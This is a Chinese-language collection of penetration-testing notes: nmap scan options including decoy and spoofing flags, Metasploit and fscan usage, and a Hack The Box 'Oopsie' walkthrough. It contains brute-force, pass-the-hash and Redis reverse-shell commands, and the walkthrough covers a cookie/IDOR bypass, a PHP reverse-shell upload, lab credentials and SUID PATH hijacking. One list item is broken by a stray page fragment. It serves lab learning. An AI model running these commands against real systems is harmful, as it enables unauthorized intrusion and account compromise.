ps:东拼西凑的笔记,随便搬,反正我也是到处凑的
一、nmap使用
基本用法:
1 2 3 4 5 6
| 简单的扫描:nmap 目标IP 默认执行 TCP 扫描。 指定端口扫描:nmap -p 端口号 目标IP 例如,nmap -p 80 目标IP 扫描目标 IP 的 80 端口。 扫描所有 TCP 端口:nmap -p- 目标IP 快速扫描:nmap -F 目标IP 仅扫描最常见的端口。 操作系统检测:nmap -O 目标IP 尝试识别目标主机的操作系统。 服务版本检测:nmap -sV 目标IP 探测目标主机上运行的服务的版本信息。
|
扫描某特定网段:
其余参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| 1. nmap -iflist : 查看本地主机的接口信息和路由信息
2. -A :选项用于使用进攻性方式扫描
3.-T4:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4
4. -oX test.xml:将扫描结果生成 test.xml 文件,如果中断,则结果打不开
5. -oA test.xml: 将扫描结果生成 test.xml 文件,中断后,结果也可保存
6. -oG test.txt: 将扫描结果生成 test.txt 文件
7. -sn : 只进行主机发现,不进行端口扫描
8. -O : 指定Nmap进行系统版本扫描
9. -sV: 指定让Nmap进行服务版本扫描
10. -p <port ranges>: 扫描指定的端口
11. -sS/sT/sA/sW/sM:指定使用TCP SYN/Connect()/ACK/Window/Maimonscans的方式来对目标主机进行扫描
12. -sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况
13. -script <script name> : 指定扫描脚本
14. -Pn :不进行ping扫描
15. -sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
16. -PI : 设置这个选项,让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。
17. -iL 1.txt : 批量扫描1.txt中的目标地址
18. nmap -sF -T4 192.168.1.0 探测防火墙状态
19. -sL: List Scan 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现
20. -sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况
21. -sO: 使用IP protocol 扫描确定目标机支持的协议类型
22. -PO : 使用IP协议包探测对方主机是否开启
23. -PE/PP/PM : 使用ICMP echo、 ICMP timestamp、ICMP netmask 请求包发现主机
24. -PS/PA/PU/PY : 使用TCP SYN/TCP ACK或SCTP INIT/ECHO方式进行发现
25. nmap 192.168.1.0/24 -excludefile f:/1.txt #扫描除给定文件中的地址以外的其他地址
26. -sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态
27. -e eth0:指定使用eth0网卡进行探测
28. -f : --mtu <val>: 指定使用分片、指定数据包的 MTU
29. -b <FTP relay host>: 使用FTP bounce scan扫描方式
30. -g:指定发送的端口号
31. -r: 不进行端口随机打乱的操作(如无该参数,nmap会将要扫描的端口以随机顺序方式扫描,以让nmap的扫描不易被对方防火墙检测到)
32. -v 表示显示冗余信息,在扫描过程中显示扫描的细节,从而让用户了解当前的扫描状态
33. -n : 表示不进行DNS解析;
34. -D <decoy1,decoy2[,ME],...>: 用一组 IP 地址掩盖真实地址,其中 ME 填入自己的 IP 地址
35. -R :表示总是进行DNS解析。
36. -F : 快速模式,仅扫描TOP 100的端口
37. -S <IP_Address>: 伪装成其他 IP 地址
38. --ttl <val>: 设置 time-to-live 时间 } top hexo_run9. --badsum: 使用错误的 checksum 来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或 IDS/IPS)
40. --dns-servers : 指定DNS服务器
41. --system-dns : 指定使用系统的DNS服务器
42. --traceroute : 追踪每个路由节点
43. --scanflags <flags>: 定制TCP包的flags
44. --top-ports <number> :扫描开放概率最高的number个端口
45. --port-ratio <ratio>: 扫描指定频率以上的端口。与上述--top-ports类似,这里以概率作为参数
46. --version-trace: 显示出详细的版本侦测过程信息
47. --osscan-limit: 限制Nmap只对确定的主机的进行OS探测(至少需确知该主机分别有一个open和closed的端口)
48. --osscan-guess: 大胆猜测对方的主机的系统类型。由此准确性会下降不少,但会尽可能多为用户提供潜在的操作系统
49. --data-length <num>: 填充随机数据让数据包长度达到 Num
50. --ip-options <options>: 使用指定的 IP 选项来发送数据包
51. --spoof-mac<mac address/prefix/vendor name> : 伪装 MAC 地址
52. --version-intensity <level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。
53. --version-light: 指定使用轻量侦测方式(intensity 2)
54. --version-all: 尝试使用所有的probes进行侦测 (intensity 9)
55. --version-trace: 显示出详细的版本侦测过程信息
56. nmap 192.168.1.0/24 -exclude 192.168.1.10扫描除192.168.1.0外的该网段的其他地址
|
二、连接
ssh连接
进入伪终端:
1
| python3 -c 'import pty; pty.spawn("/bin/bash")'
|
三、端口监听
四、msf
Ubuntu安装msf:
1 2
| sudo apt-get install curl curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
|
给予执行权限并运行安装脚本:
1 2
| chmod 755 msfinstall sudo ./msfinstall
|
启动控制台:
更新msf:
1 2 3 4 5 6 7
| 非kali环境: msfupdate
kali环境: apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告) apt upgrade # 更新已安装的软件包,不删除旧包; apt full-upgrade # 升级包,删除旧包
|
模块使用:
1 2 3 4 5 6 7
| search xxxx #搜索xxxx模块 use xxxx #使用xxxx模块 show options #列出配置参数 info #查看模块信息 set rhost #设置目标地址 set rport #设置目标端口 run/exploit #开始攻击
|
五、fscan
Ubuntu下fscan安装:
1.配置go语言环境
下载
1 2
| wget https://go.dev/dl/go1.20.1.linux-amd64.tar.gz tar -C /usr/local/ -zxvf go1.20.1.linux-amd64.tar.gz
|
将go二进制文件添加到$path环境变量
1 2 3 4 5
| export GOROOT=/usr/local/go export GOPATH=/data/go export PATH=$PATH:$GOROOT/bin:$GOPATH export GO111MODULE="on" export GOPROXY=https://goproxy.cn,direct
|
重新加载 .bashrc 或者 .bash_profile 文件
2.安装fscan
下载
1
| git clone https://github.com/shadow1ng/fscan.git
|
编译
1 2
| cd fscan go build -ldflags="-s -w " -trimpath
|
3.使用fscan扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| ./fscan -h [目标ip] -o [输出的文件名]
fscan.exe -h 192.168.1.1/24 (默认使用全部模块) fscan.exe -h 192.168.1.1/16 (B段扫描)
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) fscan.exe -hf ip.txt (以文件导入) fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理) fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
|
六、资产收集
1.fofa
一个功能强大的资产收集网站
2.hunter
奇安信的资产收集网站
1
| https://hunter.qianxin.com/
|
建议俩搭配使用
1.Hack The Box Oopsie靶机渗透记录
首先连接靶场VPN
然后查看自己的ip确认是否成功连接,并记录自己的ip
这里tun0的ip已经变成了10.10.15.250,说明已经连接成功
然后在靶场打开靶机
这台靶机的ip是:10.129.95.191
尝试能不能ping通:
能ping通,拿nmap扫个看看:
可以看到开着22和80端口
上网页看看,顺手拿dirsearch扫一下:
1
| python dirsearch.py -u http://10.129.95.191/ -e php
|
扫出来一个uploads,但是进不去,暂时没用
网页翻了翻也没什么有用的地方
然后翻看源码可以找到一个登录页面
可以看到有一个游客登录,上去看看
上去后有一个uploads,但是没有权限
在account中我们可以看到当前游客账户的用户名和登录id
同时我们可以发现这个就是我们的cookie
观察url可以发现,上面有个id=2,我们尝试改成id=1,发现成功登录admin账户
得到cookie:34322,我们把原来的cookie改成admin的
然后就可以成功进入uploads页面
把kali自带的反弹shell脚本拷到桌面
1
| cp /usr/share/webshells/php/php-reverse-shell.php shell.php
|
把ip改成自己机子的ip
开启1234端口的监听:
上传shell.php
上传成功
这个时候就要用到前面目录扫描到的uploads
直接进入shell.php,然后我们可以看到shell反弹成功
为了方便使用进入伪终端:
1
| python3 -c 'import pty; pty.spawn("/bin/bash")'
|
我们在/var/www/html/目录翻找,可以在index.php中找到网站admin的密码”MEGACORP_4dm1n!!”,以及在db.php中可以找到系统用户’robert’的’M3g4C0rpUs3r!’
登录robert
此时其实我们已经可以看到第一个flag,就在user.txt里面
但第二个flag在/root目录,所以我们需要提权
查看用户id,发现用户在一个叫”bugtracker”的组
查看这个用户组可以执行的文件:
1
| find / -group bugtracker 2>/dev/null
|
查看该文件详细信息,发现这是一个suid文件
注:suid文件在执行时不是以当前用户的权限执行,而是以文件所有者的权限执行
执行一下看看:
发现它调用了cat命令
我们可以通过在环境变量中创建一个调用bash的cat来替代原来的cat
执行该文件,提权成功
得到flag